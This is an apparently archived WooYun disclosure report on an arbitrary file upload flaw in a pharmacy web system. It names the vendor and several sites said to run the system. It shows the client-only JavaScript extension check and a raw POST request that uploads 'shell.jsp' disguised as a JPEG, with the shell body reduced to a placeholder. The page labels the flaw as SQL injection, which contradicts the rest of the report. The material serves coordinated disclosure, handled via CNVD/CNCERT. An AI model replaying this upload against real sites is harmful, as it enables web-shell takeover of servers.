当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104283

漏洞标题:某通用型药店系统存在任意文件上传漏洞

相关厂商:杭州珍诚网络科技有限公司

漏洞作者: 路人甲

提交时间:2015-03-30 12:50

修复时间:2015-07-02 14:40

公开时间:2015-07-02 14:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:13

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-30: 细节已通知厂商并且等待厂商处理中
2015-04-03: 厂商已经确认,细节仅向厂商公开
2015-04-06: 细节向第三方安全合作伙伴开放
2015-05-28: 细节向核心白帽子及相关领域专家公开
2015-06-07: 细节向普通白帽子公开
2015-06-17: 细节向实习白帽子公开
2015-07-02: 细节向公众公开

简要描述:

杭州珍诚网络科技有限公司开发的大药房系统存在任意文件上传漏洞

详细说明:

厂商:

杭州珍诚网络科技有限公司  http://www.zc511.com/showIndex.do


http://www.ewj2009.com/
http://www.nbzyyy.com/
http://wzyst.net/
http://www.yizheng.cc/
http://www.zjrrt.com/


Upload Bug:

注册用户后登陆修改基本资料的头像上传处仅仅在本地进行了Javascrip校验,服务端没有校验文件上传的类型。
注册会员---登录——基本资料修改——上传JPG头像——抓包修改为JSP——任意文件被上传
<script>
function uploadImg(value){
document.getElementById('textfield').value=value;
testviewpic("showImg","textfield");
}
function testviewpic(m,im)
{
var mypic = document.getElementById(m);
var imgfilepath = document.getElementById(im)
var oldSrc = mypic.src;
var myflag=0; //进行筛选的图片的扩展名
var aa = ".gif|.jpg|.jpeg|.bmp|.png"; //分离出可以通过的图片扩展名
var bb = aa.split('|'); //进行循环判断,路经是否为图片
for(var i=0;i<bb.length;i++)
{
//检索路径是否含有指定图片的扩展名
var cc = imgfilepath.value.toLowerCase().indexOf(bb[i]);
if (cc > 0)
{
//当图片的路经中含有指定的扩展名时,对状态进行赋值
myflag=1; mypic.src=imgfilepath.value; mypic.style.display=""; mypic.border=1; break;
}
}
//如果状态为错误,弹出信息框
if(myflag == 0)
{
alert("请选择图片文件"); //清除上传框的路径值
imgfilepath.outerHTML = imgfilepath.outerHTML; imgfilepath.value=""; mypic.src=oldSrc;
document.getElementById("theFile").value="";
}
}
function fclick(){
$("#theFile").click();
}
</script>


Upload POST:

POST /updateUserInfo.do HTTP/1.1
Host: www.****.cn
Proxy-Connection: keep-alive
Content-Length: 6111
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.****.cn
User-Agent: ************
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYVYCBNAmsZCHFNFR
Referer: http://www.*****.cn/getUserInfo.do
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: *********
------WebKitFormBoundaryYVYCBNAmsZCHFNFR
Content-Disposition: form-data; name="textfield"
C:\fakepath\shell.jpg
------WebKitFormBoundaryYVYCBNAmsZCHFNFR
Content-Disposition: form-data; name="theFile"; filename="shell.jsp" //这里的类型可被随意控制
Content-Type: image/jpeg
shellcode
------WebKitFormBoundaryYVYCBNAmsZCHFNFR
Content-Disposition: form-data; name="userName"
test
------WebKitFormBoundaryYVYCBNAmsZCHFNFR
Content-Disposition: form-data; name="userNickName"
test
------WebKitFormBoundaryYVYCBNAmsZCHFNFR
Content-Disposition: form-data; name="userAddress"
------WebKitFormBoundaryYVYCBNAmsZCHFNFR
Content-Disposition: form-data; name="postCode"
------WebKitFormBoundaryYVYCBNAmsZCHFNFR
Content-Disposition: form-data; name="mobile"
------WebKitFormBoundaryYVYCBNAmsZCHFNFR
Content-Disposition: form-data; name="phone"
------WebKitFormBoundaryYVYCBNAmsZCHFNFR--


漏洞证明:

以其中一个案例进行测试:

1、

c1.jpg


提示更新成功后查看头像地址:

c2.jpg


c3.jpg

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-04-03 14:39

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给浙江分中心,由其后续协调网站管理单位处置。

最新状态:

暂无